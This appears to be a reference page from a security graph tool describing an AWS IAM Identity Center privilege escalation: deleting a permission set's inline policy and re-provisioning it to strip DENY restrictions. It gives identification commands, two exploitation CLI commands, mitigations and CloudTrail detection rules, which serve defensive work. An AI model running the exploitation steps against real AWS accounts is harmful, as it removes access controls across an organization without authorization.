AWS_SSO_DELETE_INLINE_POLICY

Summary

Forestall ACL Alias	AWS_SSO_DELETE_INLINE_POLICY
Affected Object Types	AWSIAMUser|AWSIAMRole|AWSIAMGroup → AWSPermissionSet
Exploitation Certainty	High
AWS IAM Action	sso:DeleteInlinePolicyFromPermissionSet + sso:ProvisionPermissionSet

Description

Account gate: This edge is only emitted for IAM principals that reside in the Organizations management account or an IAM Identity Center delegated-administrator account (service principal sso.amazonaws.com). Principals in any other member account receive AccessDenied from all SSO Admin APIs regardless of their IAM permissions.

An attacker with sso:DeleteInlinePolicyFromPermissionSet and sso:ProvisionPermissionSet can wipe the inline policy from a target Permission Set and re-provision it across all assigned accounts. When the inline policy contains explicit DENY statements, removing it lifts those restrictions and broadens the permissions of every principal holding that Permission Set.

Edge semantics: (Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DELETE_INLINE_POLICY]-> (Target:AWSPermissionSet)

Precondition: the target Permission Set must have at least one account assignment (poisonablePsGuids); without an assignment, provisioning has no effect.

Identification

# View the inline policy of a permission set
aws sso-admin get-inline-policy-for-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DeleteInlinePolicyFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>

Exploitation

# Step 1: Delete the inline policy (including any DENY statements) from the permission set
aws sso-admin delete-inline-policy-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Step 2: Re-provision to push the updated (less restrictive) policy to all accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS

Mitigation

• Restrict sso:DeleteInlinePolicyFromPermissionSet and sso:ProvisionPermissionSet to dedicated Identity Center administrator roles.

• Use SCPs to block deletion of inline policies on Permission Sets assigned to privileged accounts.

• Don't rely solely on inline DENY policies for permission restriction. Use Permission Boundaries for defense in depth.

• Alert in CloudTrail on DeleteInlinePolicyFromPermissionSet events and on any provisioning that follows.

• Audit inline policies across all Permission Sets regularly to catch unauthorized removals early.

Detection

CloudTrail Event	Description	Key Fields
DeleteInlinePolicyFromPermissionSet	The inline policy was deleted from a Permission Set	requestParameters.permissionSetArn, userIdentity.arn
ProvisionPermissionSet	The Permission Set was re-provisioned to accounts	requestParameters.permissionSetArn, requestParameters.targetType, userIdentity.arn

Alert when DeleteInlinePolicyFromPermissionSet is followed by ProvisionPermissionSet on the same Permission Set ARN within a short window.

References

• HackTricks: AWS SSO & IAM Identity Center Privilege Escalation

• AWS SSO Admin API: DeleteInlinePolicyFromPermissionSet

• AWS SSO Admin API: ProvisionPermissionSet

• AWS IAM Identity Center: Inline policies in permission sets